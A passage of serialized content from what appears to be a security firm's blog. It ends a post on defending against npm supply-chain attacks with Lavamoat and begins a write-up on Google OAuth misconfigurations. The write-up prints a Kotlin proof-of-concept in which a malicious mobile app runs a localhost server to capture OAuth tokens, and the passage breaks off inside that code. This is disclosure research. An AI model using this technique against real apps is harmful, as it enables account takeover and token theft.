\"@ethereumjs/util\"",{"type":22,"tag":118,"props":100840,"children":100841},{"style":125},[100842],{"type":28,"value":38963},{"type":22,"tag":118,"props":100844,"children":100845},{"class":120,"line":318},[100846,100850],{"type":22,"tag":118,"props":100847,"children":100848},{"style":204},[100849],{"type":28,"value":38971},{"type":22,"tag":118,"props":100851,"children":100852},{"style":125},[100853],{"type":28,"value":38963},{"type":22,"tag":118,"props":100855,"children":100856},{"class":120,"line":351},[100857,100862,100866,100870],{"type":22,"tag":118,"props":100858,"children":100859},{"style":204},[100860],{"type":28,"value":100861},"        \"console.warn\"",{"type":22,"tag":118,"props":100863,"children":100864},{"style":125},[100865],{"type":28,"value":1319},{"type":22,"tag":118,"props":100867,"children":100868},{"style":146},[100869],{"type":28,"value":6007},{"type":22,"tag":118,"props":100871,"children":100872},{"style":125},[100873],{"type":28,"value":782},{"type":22,"tag":118,"props":100875,"children":100876},{"class":120,"line":359},[100877,100882,100886],{"type":22,"tag":118,"props":100878,"children":100879},{"style":204},[100880],{"type":28,"value":100881},"        \"fetch\"",{"type":22,"tag":118,"props":100883,"children":100884},{"style":125},[100885],{"type":28,"value":1319},{"type":22,"tag":118,"props":100887,"children":100888},{"style":146},[100889],{"type":28,"value":39132},{"type":22,"tag":118,"props":100891,"children":100892},{"class":120,"line":368},[100893],{"type":22,"tag":118,"props":100894,"children":100895},{"style":125},[100896],{"type":28,"value":39140},{"type":22,"tag":118,"props":100898,"children":100899},{"class":120,"line":384},[100900,100904],{"type":22,"tag":118,"props":100901,"children":100902},{"style":204},[100903],{"type":28,"value":39148},{"type":22,"tag":118,"props":100905,"children":100906},{"style":125},[100907],{"type":28,"value":38963},{"type":22,"tag":118,"props":100909,"children":100910},{"class":120,"line":417},[100911,100916,100920,100924],{"type":22,"tag":118,"props":100912,"children":100913},{"style":204},[100914],{"type":28,"value":100915},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":22,"tag":118,"props":100917,"children":100918},{"style":125},[100919],{"type":28,"value":1319},{"type":22,"tag":118,"props":100921,"children":100922},{"style":146},[100923],{"type":28,"value":6007},{"type":22,"tag":118,"props":100925,"children":100926},{"style":125},[100927],{"type":28,"value":782},{"type":22,"tag":118,"props":100929,"children":100930},{"class":120,"line":425},[100931,100936,100940],{"type":22,"tag":118,"props":100932,"children":100933},{"style":204},[100934],{"type":28,"value":100935},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":22,"tag":118,"props":100937,"children":100938},{"style":125},[100939],{"type":28,"value":1319},{"type":22,"tag":118,"props":100941,"children":100942},{"style":146},[100943],{"type":28,"value":39132},{"type":22,"tag":118,"props":100945,"children":100946},{"class":120,"line":441},[100947],{"type":22,"tag":118,"props":100948,"children":100949},{"style":125},[100950],{"type":28,"value":14660},{"type":22,"tag":118,"props":100952,"children":100953},{"class":120,"line":475},[100954],{"type":22,"tag":118,"props":100955,"children":100956},{"style":125},[100957],{"type":28,"value":1254},{"type":22,"tag":118,"props":100959,"children":100960},{"class":120,"line":484},[100961],{"type":22,"tag":118,"props":100962,"children":100963},{"style":125},[100964],{"type":28,"value":481},{"type":22,"tag":31,"props":100966,"children":100967},{},[100968,100970,100976,100978,100984,100985,100990,100992,100998,100999,101005],{"type":28,"value":100969},"In this example, it restricts the ",{"type":22,"tag":114,"props":100971,"children":100973},{"className":100972},[],[100974],{"type":28,"value":100975},"@ethereumjs/util",{"type":28,"value":100977}," package to use only ",{"type":22,"tag":114,"props":100979,"children":100981},{"className":100980},[],[100982],{"type":28,"value":100983},"console.warn",{"type":28,"value":12991},{"type":22,"tag":114,"props":100986,"children":100988},{"className":100987},[],[100989],{"type":28,"value":36034},{"type":28,"value":100991}," functions, and to include only ",{"type":22,"tag":114,"props":100993,"children":100995},{"className":100994},[],[100996],{"type":28,"value":100997},"@ethereumjs/rlp",{"type":28,"value":12991},{"type":22,"tag":114,"props":101000,"children":101002},{"className":101001},[],[101003],{"type":28,"value":101004},"ethereum-cryptography",{"type":28,"value":101006}," packages.",{"type":22,"tag":31,"props":101008,"children":101009},{},[101010],{"type":28,"value":101011},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":22,"tag":31,"props":101013,"children":101014},{},[101015,101017,101023],{"type":28,"value":101016},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":22,"tag":42,"props":101018,"children":101021},{"href":101019,"rel":101020},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[46],[101022],{"type":28,"value":39318},{"type":28,"value":292},{"type":22,"tag":1289,"props":101025,"children":101027},{"id":101026},"lavamoat-vs-qix-malware",[101028],{"type":28,"value":101029},"Lavamoat vs Qix Malware",{"type":22,"tag":31,"props":101031,"children":101032},{},[101033,101035,101040],{"type":28,"value":101034},"If a dApp were compromised with the Qix malware (say it used ",{"type":22,"tag":114,"props":101036,"children":101038},{"className":101037},[],[101039],{"type":28,"value":98880},{"type":28,"value":101041},"), it would need to perform the following actions to drain funds from a wallet:",{"type":22,"tag":4029,"props":101043,"children":101044},{},[101045,101057,101068,101079],{"type":22,"tag":68,"props":101046,"children":101047},{},[101048,101050,101055],{"type":28,"value":101049},"Replace ",{"type":22,"tag":114,"props":101051,"children":101053},{"className":101052},[],[101054],{"type":28,"value":36034},{"type":28,"value":101056}," function to a custom one",{"type":22,"tag":68,"props":101058,"children":101059},{},[101060,101062],{"type":28,"value":101061},"Access ",{"type":22,"tag":114,"props":101063,"children":101065},{"className":101064},[],[101066],{"type":28,"value":101067},"window.ethereum",{"type":22,"tag":68,"props":101069,"children":101070},{},[101071,101073,101078],{"type":28,"value":101072},"Call original ",{"type":22,"tag":114,"props":101074,"children":101076},{"className":101075},[],[101077],{"type":28,"value":36034},{"type":28,"value":40155},{"type":22,"tag":68,"props":101080,"children":101081},{},[101082],{"type":28,"value":101083},"Plus other actions not relevant here",{"type":22,"tag":31,"props":101085,"children":101086},{},[101087,101089,101095],{"type":28,"value":101088},"If the dApp is using Lavamoat with a generated policy for ",{"type":22,"tag":114,"props":101090,"children":101092},{"className":101091},[],[101093],{"type":28,"value":101094},"chalk 5.6.0",{"type":28,"value":101096}," (non-malicious version) it would look like this:",{"type":22,"tag":107,"props":101098,"children":101100},{"code":101099,"language":35937,"meta":7,"className":35935,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[101101],{"type":22,"tag":114,"props":101102,"children":101103},{"__ignoreMap":7},[101104,101116,101127,101147,101163,101170],{"type":22,"tag":118,"props":101105,"children":101106},{"class":120,"line":121},[101107,101112],{"type":22,"tag":118,"props":101108,"children":101109},{"style":1866},[101110],{"type":28,"value":101111},"\"chalk\"",{"type":22,"tag":118,"props":101113,"children":101114},{"style":125},[101115],{"type":28,"value":38963},{"type":22,"tag":118,"props":101117,"children":101118},{"class":120,"line":142},[101119,101123],{"type":22,"tag":118,"props":101120,"children":101121},{"style":204},[101122],{"type":28,"value":38971},{"type":22,"tag":118,"props":101124,"children":101125},{"style":125},[101126],{"type":28,"value":38963},{"type":22,"tag":118,"props":101128,"children":101129},{"class":120,"line":177},[101130,101135,101139,101143],{"type":22,"tag":118,"props":101131,"children":101132},{"style":204},[101133],{"type":28,"value":101134},"        \"navigator.userAgent\"",{"type":22,"tag":118,"props":101136,"children":101137},{"style":125},[101138],{"type":28,"value":1319},{"type":22,"tag":118,"props":101140,"children":101141},{"style":146},[101142],{"type":28,"value":6007},{"type":22,"tag":118,"props":101144,"children":101145},{"style":125},[101146],{"type":28,"value":782},{"type":22,"tag":118,"props":101148,"children":101149},{"class":120,"line":195},[101150,101155,101159],{"type":22,"tag":118,"props":101151,"children":101152},{"style":204},[101153],{"type":28,"value":101154},"        \"navigator.userAgentData\"",{"type":22,"tag":118,"props":101156,"children":101157},{"style":125},[101158],{"type":28,"value":1319},{"type":22,"tag":118,"props":101160,"children":101161},{"style":146},[101162],{"type":28,"value":39132},{"type":22,"tag":118,"props":101164,"children":101165},{"class":120,"line":244},[101166],{"type":22,"tag":118,"props":101167,"children":101168},{"style":125},[101169],{"type":28,"value":14660},{"type":22,"tag":118,"props":101171,"children":101172},{"class":120,"line":253},[101173],{"type":22,"tag":118,"props":101174,"children":101175},{"style":125},[101176],{"type":28,"value":27325},{"type":22,"tag":31,"props":101178,"children":101179},{},[101180,101182,101188],{"type":28,"value":101181},"That means that the chalk dependency can only access these two global attributes from ",{"type":22,"tag":114,"props":101183,"children":101185},{"className":101184},[],[101186],{"type":28,"value":101187},"navigator",{"type":28,"value":292},{"type":22,"tag":31,"props":101190,"children":101191},{},[101192,101194,101200],{"type":28,"value":101193},"When the compromised dApp would execute the malicious payload of ",{"type":22,"tag":114,"props":101195,"children":101197},{"className":101196},[],[101198],{"type":28,"value":101199},"chalk v5.6.1",{"type":28,"value":101201}," it would fail due to insufficient permissions:",{"type":22,"tag":31,"props":101203,"children":101204},{},[101205],{"type":22,"tag":5928,"props":101206,"children":101208},{"alt":52519,"src":101207},"/posts/supply-chain-attcks/error.png",[],{"type":22,"tag":31,"props":101210,"children":101211},{},[101212,101214,101219],{"type":28,"value":101213},"This error shows that the malware failed since it cannot redefine ",{"type":22,"tag":114,"props":101215,"children":101217},{"className":101216},[],[101218],{"type":28,"value":36034},{"type":28,"value":27411},{"type":22,"tag":107,"props":101221,"children":101223},{"code":101222},"TypeError#1: Cannot define property fetch, object is not extensible\n",[101224],{"type":22,"tag":114,"props":101225,"children":101226},{"__ignoreMap":7},[101227],{"type":28,"value":101222},{"type":22,"tag":23,"props":101229,"children":101231},{"id":101230},"lavamoat-in-practice",[101232],{"type":28,"value":101233},"Lavamoat In Practice",{"type":22,"tag":31,"props":101235,"children":101236},{},[101237,101239,101246],{"type":28,"value":101238},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":22,"tag":42,"props":101240,"children":101243},{"href":101241,"rel":101242},"https://osec.io/reports/lavamoat_audit_final.pdf",[46],[101244],{"type":28,"value":101245},"see the audit report",{"type":28,"value":22702},{"type":22,"tag":31,"props":101248,"children":101249},{},[101250],{"type":28,"value":101251},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":22,"tag":23,"props":101253,"children":101254},{"id":4842},[101255],{"type":28,"value":4845},{"type":22,"tag":31,"props":101257,"children":101258},{},[101259],{"type":28,"value":101260},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":22,"tag":31,"props":101262,"children":101263},{},[101264,101266,101271],{"type":28,"value":101265},"Version pinning and ",{"type":22,"tag":114,"props":101267,"children":101269},{"className":101268},[],[101270],{"type":28,"value":100707},{"type":28,"value":101272}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":22,"tag":4880,"props":101274,"children":101275},{},[101276],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":101278},[101279,101282,101283,101292,101293],{"id":98895,"depth":142,"text":98898,"children":101280},[101281],{"id":100530,"depth":177,"text":100533},{"id":100541,"depth":142,"text":100544},{"id":100557,"depth":142,"text":100560,"children":101284},[101285,101287,101289,101291],{"id":100568,"depth":177,"text":101286},"1. Version pinning in package.json",{"id":100698,"depth":177,"text":101288},"2. Use npm ci",{"id":100735,"depth":177,"text":101290},"3. Implement Lavamoat",{"id":101026,"depth":177,"text":101029},{"id":101230,"depth":142,"text":101233},{"id":4842,"depth":142,"text":4845},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":101298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101299,"description":101300,"date":101301,"author":101302,"image":101303,"isFeatured":15,"onBlogPage":15,"tags":101305,"body":101308,"_type":4896,"_id":103639,"_source":4898,"_file":103640,"_stem":103641,"_extension":4901},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[33140,33139],{"src":101304,"width":98864,"height":13},"/posts/oauth-misconfigurations/title.png",[101306,101307],"oAuth","exchanges",{"type":19,"children":101309,"toc":103626},[101310,101316,101321,101327,101347,101353,101358,101371,101376,101384,101398,101407,101416,101430,101438,101449,101509,101515,101527,101576,101582,101587,101600,101607,101618,101638,101657,101678,101684,101697,101702,101708,101727,102352,102357,102370,103231,103236,103241,103247,103252,103258,103263,103276,103316,103322,103335,103340,103373,103378,103383,103408,103413,103425,103582,103587,103591,103603,103608,103612,103617,103622],{"type":22,"tag":23,"props":101311,"children":101313},{"id":101312},"exploiting-oauth",[101314],{"type":28,"value":101315},"Exploiting OAuth",{"type":22,"tag":31,"props":101317,"children":101318},{},[101319],{"type":28,"value":101320},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":22,"tag":1289,"props":101322,"children":101324},{"id":101323},"google-authentication-flows",[101325],{"type":28,"value":101326},"Google Authentication Flows",{"type":22,"tag":31,"props":101328,"children":101329},{},[101330,101332,101338,101340,101345],{"type":28,"value":101331},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":22,"tag":114,"props":101333,"children":101335},{"className":101334},[],[101336],{"type":28,"value":101337},"postMessage",{"type":28,"value":101339}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":22,"tag":114,"props":101341,"children":101343},{"className":101342},[],[101344],{"type":28,"value":71704},{"type":28,"value":101346}," to send the token back to the RP.",{"type":22,"tag":1899,"props":101348,"children":101350},{"id":101349},"gsi-new-flow",[101351],{"type":28,"value":101352},"GSI (New Flow)",{"type":22,"tag":31,"props":101354,"children":101355},{},[101356],{"type":28,"value":101357},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":22,"tag":64,"props":101359,"children":101360},{},[101361,101366],{"type":22,"tag":68,"props":101362,"children":101363},{},[101364],{"type":28,"value":101365},"Using FedCM API",{"type":22,"tag":68,"props":101367,"children":101368},{},[101369],{"type":28,"value":101370},"Without using FedCM API",{"type":22,"tag":31,"props":101372,"children":101373},{},[101374],{"type":28,"value":101375},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":22,"tag":31,"props":101377,"children":101378},{},[101379],{"type":22,"tag":74,"props":101380,"children":101381},{},[101382],{"type":28,"value":101383},"FedCM Method",{"type":22,"tag":31,"props":101385,"children":101386},{},[101387,101389,101396],{"type":28,"value":101388},"The FedCM method basically follows this ",{"type":22,"tag":42,"props":101390,"children":101393},{"href":101391,"rel":101392},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[46],[101394],{"type":28,"value":101395},"user experience",{"type":28,"value":101397},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":22,"tag":31,"props":101399,"children":101400},{},[101401,101403],{"type":28,"value":101402},"The normal flow, clicking the \"sign in\" button:\n",{"type":22,"tag":5928,"props":101404,"children":101406},{"alt":52519,"src":101405},"/posts/oauth-misconfigurations/image1.png",[],{"type":22,"tag":31,"props":101408,"children":101409},{},[101410,101412],{"type":28,"value":101411},"One-Tap popup shown when you open the page:\n",{"type":22,"tag":5928,"props":101413,"children":101415},{"alt":52519,"src":101414},"/posts/oauth-misconfigurations/image2.png",[],{"type":22,"tag":31,"props":101417,"children":101418},{},[101419,101421,101428],{"type":28,"value":101420},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":22,"tag":42,"props":101422,"children":101425},{"href":101423,"rel":101424},"https://github.com/w3c-fedid/FedCM/issues/429",[46],[101426],{"type":28,"value":101427},"FedCM auto-reauthentication",{"type":28,"value":101429},", which has certain preconditions that must be met.",{"type":22,"tag":31,"props":101431,"children":101432},{},[101433],{"type":22,"tag":74,"props":101434,"children":101435},{},[101436],{"type":28,"value":101437},"Non-FedCM Method",{"type":22,"tag":31,"props":101439,"children":101440},{},[101441,101443,101448],{"type":28,"value":101442},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":22,"tag":114,"props":101444,"children":101446},{"className":101445},[],[101447],{"type":28,"value":101337},{"type":28,"value":213},{"type":22,"tag":4029,"props":101450,"children":101451},{},[101452,101457,101481,101486,101497],{"type":22,"tag":68,"props":101453,"children":101454},{},[101455],{"type":28,"value":101456},"The user clicks the sign in button",{"type":22,"tag":68,"props":101458,"children":101459},{},[101460,101462,101468,101470,101475,101476],{"type":28,"value":101461},"RP opens a popup/iframe to ",{"type":22,"tag":42,"props":101463,"children":101466},{"href":101464,"rel":101465},"https://accounts.google.com/o/oauth2/v2/auth",[46],[101467],{"type":28,"value":101464},{"type":28,"value":101469}," with some important parameters like ",{"type":22,"tag":114,"props":101471,"children":101473},{"className":101472},[],[101474],{"type":28,"value":71536},{"type":28,"value":12991},{"type":22,"tag":114,"props":101477,"children":101479},{"className":101478},[],[101480],{"type":28,"value":42077},{"type":22,"tag":68,"props":101482,"children":101483},{},[101484],{"type":28,"value":101485},"The user clicks the \"Continue\" button to authorize authentication",{"type":22,"tag":68,"props":101487,"children":101488},{},[101489,101491],{"type":28,"value":101490},"They get redirected to ",{"type":22,"tag":42,"props":101492,"children":101495},{"href":101493,"rel":101494},"https://accounts.google.com/gsi/transform",[46],[101496],{"type":28,"value":101493},{"type":22,"tag":68,"props":101498,"children":101499},{},[101500,101502,101507],{"type":28,"value":101501},"/gsi/transform sends the token back to the RP via ",{"type":22,"tag":114,"props":101503,"children":101505},{"className":101504},[],[101506],{"type":28,"value":101337},{"type":28,"value":101508}," (after some SYN/ACK messages)",{"type":22,"tag":1899,"props":101510,"children":101512},{"id":101511},"oauth-20-old-flow",[101513],{"type":28,"value":101514},"OAuth 2.0 Old Flow",{"type":22,"tag":31,"props":101516,"children":101517},{},[101518,101520,101525],{"type":28,"value":101519},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":22,"tag":114,"props":101521,"children":101523},{"className":101522},[],[101524],{"type":28,"value":71704},{"type":28,"value":101526}," provided in the URL and validated by a whitelist configuration:",{"type":22,"tag":4029,"props":101528,"children":101529},{},[101530,101534,101555,101559],{"type":22,"tag":68,"props":101531,"children":101532},{},[101533],{"type":28,"value":101456},{"type":22,"tag":68,"props":101535,"children":101536},{},[101537,101538,101543,101544,101549,101550],{"type":28,"value":101461},{"type":22,"tag":42,"props":101539,"children":101541},{"href":101464,"rel":101540},[46],[101542],{"type":28,"value":101464},{"type":28,"value":101469},{"type":22,"tag":114,"props":101545,"children":101547},{"className":101546},[],[101548],{"type":28,"value":71536},{"type":28,"value":12991},{"type":22,"tag":114,"props":101551,"children":101553},{"className":101552},[],[101554],{"type":28,"value":71704},{"type":22,"tag":68,"props":101556,"children":101557},{},[101558],{"type":28,"value":101485},{"type":22,"tag":68,"props":101560,"children":101561},{},[101562,101563,101568,101570],{"type":28,"value":101490},{"type":22,"tag":114,"props":101564,"children":101566},{"className":101565},[],[101567],{"type":28,"value":71704},{"type":28,"value":101569}," with the token in the query parameters or ",{"type":22,"tag":114,"props":101571,"children":101573},{"className":101572},[],[101574],{"type":28,"value":101575},"location.hash",{"type":22,"tag":1899,"props":101577,"children":101579},{"id":101578},"different-configurations",[101580],{"type":28,"value":101581},"Different Configurations",{"type":22,"tag":31,"props":101583,"children":101584},{},[101585],{"type":28,"value":101586},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":22,"tag":64,"props":101588,"children":101589},{},[101590,101595],{"type":22,"tag":68,"props":101591,"children":101592},{},[101593],{"type":28,"value":101594},"Authorized origins",{"type":22,"tag":68,"props":101596,"children":101597},{},[101598],{"type":28,"value":101599},"Authorized redirect URIs",{"type":22,"tag":31,"props":101601,"children":101602},{},[101603],{"type":22,"tag":5928,"props":101604,"children":101606},{"alt":52519,"src":101605},"/posts/oauth-misconfigurations/image3.png",[],{"type":22,"tag":31,"props":101608,"children":101609},{},[101610,101612,101617],{"type":28,"value":101611},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":22,"tag":114,"props":101613,"children":101615},{"className":101614},[],[101616],{"type":28,"value":71536},{"type":28,"value":292},{"type":22,"tag":31,"props":101619,"children":101620},{},[101621,101623,101629,101631,101636],{"type":28,"value":101622},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":22,"tag":114,"props":101624,"children":101626},{"className":101625},[],[101627],{"type":28,"value":101628},"/oauth2/v2/auth",{"type":28,"value":101630}," by checking the ",{"type":22,"tag":114,"props":101632,"children":101634},{"className":101633},[],[101635],{"type":28,"value":42077},{"type":28,"value":101637}," query parameter.",{"type":22,"tag":31,"props":101639,"children":101640},{},[101641,101643,101648,101650,101655],{"type":28,"value":101642},"In the old flow, the ",{"type":22,"tag":114,"props":101644,"children":101646},{"className":101645},[],[101647],{"type":28,"value":71704},{"type":28,"value":101649}," parameter passed in the ",{"type":22,"tag":114,"props":101651,"children":101653},{"className":101652},[],[101654],{"type":28,"value":101628},{"type":28,"value":101656}," endpoint is validated against the authorized redirect URIs.",{"type":22,"tag":31,"props":101658,"children":101659},{},[101660,101662,101667,101669,101676],{"type":28,"value":101661},"Note that the new GSI flow can also have a different flow using ",{"type":22,"tag":114,"props":101663,"children":101665},{"className":101664},[],[101666],{"type":28,"value":71704},{"type":28,"value":101668}," validation. To execute this flow, you need to specify ",{"type":22,"tag":42,"props":101670,"children":101673},{"href":101671,"rel":101672},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[46],[101674],{"type":28,"value":101675},"login_uri",{"type":28,"value":101677}," while using the SDK.",{"type":22,"tag":1289,"props":101679,"children":101681},{"id":101680},"localhost-exploit",[101682],{"type":28,"value":101683},"Localhost Exploit",{"type":22,"tag":31,"props":101685,"children":101686},{},[101687,101689,101695],{"type":28,"value":101688},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":22,"tag":114,"props":101690,"children":101692},{"className":101691},[],[101693],{"type":28,"value":101694},"localhost",{"type":28,"value":101696}," origin because it is considered trusted for local testing.",{"type":22,"tag":31,"props":101698,"children":101699},{},[101700],{"type":28,"value":101701},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":22,"tag":1899,"props":101703,"children":101705},{"id":101704},"exploit",[101706],{"type":28,"value":101707},"Exploit",{"type":22,"tag":31,"props":101709,"children":101710},{},[101711,101713,101718,101719,101725],{"type":28,"value":101712},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":22,"tag":114,"props":101714,"children":101716},{"className":101715},[],[101717],{"type":28,"value":101575},{"type":28,"value":15128},{"type":22,"tag":114,"props":101720,"children":101722},{"className":101721},[],[101723],{"type":28,"value":101724},"location.search",{"type":28,"value":101726},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":22,"tag":107,"props":101728,"children":101732},{"className":101729,"code":101730,"language":101731,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[101733],{"type":22,"tag":114,"props":101734,"children":101735},{"__ignoreMap":7},[101736,101765,101784,101791,101798,101817,101828,101839,101870,101893,101940,101947,101954,101961,101968,101988,102019,102030,102037,102044,102063,102086,102097,102116,102131,102142,102165,102200,102219,102226,102237,102260,102271,102283,102290,102297,102304,102311,102318,102345],{"type":22,"tag":118,"props":101737,"children":101738},{"class":120,"line":121},[101739,101744,101748,101752,101756,101760],{"type":22,"tag":118,"props":101740,"children":101741},{"style":146},[101742],{"type":28,"value":101743}," override",{"type":22,"tag":118,"props":101745,"children":101746},{"style":146},[101747],{"type":28,"value":8216},{"type":22,"tag":118,"props":101749,"children":101750},{"style":532},[101751],{"type":28,"value":72392},{"type":22,"tag":118,"props":101753,"children":101754},{"style":125},[101755],{"type":28,"value":72397},{"type":22,"tag":118,"props":101757,"children":101758},{"style":131},[101759],{"type":28,"value":72402},{"type":22,"tag":118,"props":101761,"children":101762},{"style":125},[101763],{"type":28,"value":101764},"?){\n",{"type":22,"tag":118,"props":101766,"children":101767},{"class":120,"line":142},[101768,101772,101776,101780],{"type":22,"tag":118,"props":101769,"children":101770},{"style":146},[101771],{"type":28,"value":72415},{"type":22,"tag":118,"props":101773,"children":101774},{"style":125},[101775],{"type":28,"value":292},{"type":22,"tag":118,"props":101777,"children":101778},{"style":532},[101779],{"type":28,"value":72424},{"type":22,"tag":118,"props":101781,"children":101782},{"style":125},[101783],{"type":28,"value":72429},{"type":22,"tag":118,"props":101785,"children":101786},{"class":120,"line":177},[101787],{"type":22,"tag":118,"props":101788,"children":101789},{"emptyLinePlaceholder":15},[101790],{"type":28,"value":250},{"type":22,"tag":118,"props":101792,"children":101793},{"class":120,"line":195},[101794],{"type":22,"tag":118,"props":101795,"children":101796},{"style":257},[101797],{"type":28,"value":72444},{"type":22,"tag":118,"props":101799,"children":101800},{"class":120,"line":244},[101801,101805,101809,101813],{"type":22,"tag":118,"props":101802,"children":101803},{"style":532},[101804],{"type":28,"value":72452},{"type":22,"tag":118,"props":101806,"children":101807},{"style":125},[101808],{"type":28,"value":72457},{"type":22,"tag":118,"props":101810,"children":101811},{"style":532},[101812],{"type":28,"value":72462},{"type":22,"tag":118,"props":101814,"children":101815},{"style":125},[101816],{"type":28,"value":1474},{"type":22,"tag":118,"props":101818,"children":101819},{"class":120,"line":253},[101820,101824],{"type":22,"tag":118,"props":101821,"children":101822},{"style":1480},[101823],{"type":28,"value":72474},{"type":22,"tag":118,"props":101825,"children":101826},{"style":125},[101827],{"type":28,"value":1474},{"type":22,"tag":118,"props":101829,"children":101830},{"class":120,"line":263},[101831,101835],{"type":22,"tag":118,"props":101832,"children":101833},{"style":532},[101834],{"type":28,"value":72486},{"type":22,"tag":118,"props":101836,"children":101837},{"style":125},[101838],{"type":28,"value":2708},{"type":22,"tag":118,"props":101840,"children":101841},{"class":120,"line":318},[101842,101846,101850,101854,101858,101862,101866],{"type":22,"tag":118,"props":101843,"children":101844},{"style":125},[101845],{"type":28,"value":72498},{"type":22,"tag":118,"props":101847,"children":101848},{"style":532},[101849],{"type":28,"value":72503},{"type":22,"tag":118,"props":101851,"children":101852},{"style":125},[101853],{"type":28,"value":540},{"type":22,"tag":118,"props":101855,"children":101856},{"style":1866},[101857],{"type":28,"value":72512},{"type":22,"tag":118,"props":101859,"children":101860},{"style":125},[101861],{"type":28,"value":231},{"type":22,"tag":118,"props":101863,"children":101864},{"style":1866},[101865],{"type":28,"value":72521},{"type":22,"tag":118,"props":101867,"children":101868},{"style":125},[101869],{"type":28,"value":3665},{"type":22,"tag":118,"props":101871,"children":101872},{"class":120,"line":351},[101873,101877,101881,101885,101889],{"type":22,"tag":118,"props":101874,"children":101875},{"style":125},[101876],{"type":28,"value":1611},{"type":22,"tag":118,"props":101878,"children":101879},{"style":146},[101880],{"type":28,"value":50351},{"type":22,"tag":118,"props":101882,"children":101883},{"style":125},[101884],{"type":28,"value":72541},{"type":22,"tag":118,"props":101886,"children":101887},{"style":131},[101888],{"type":28,"value":72546},{"type":22,"tag":118,"props":101890,"children":101891},{"style":125},[101892],{"type":28,"value":16783},{"type":22,"tag":118,"props":101894,"children":101895},{"class":120,"line":359},[101896,101900,101904,101908,101912,101916,101920,101924,10192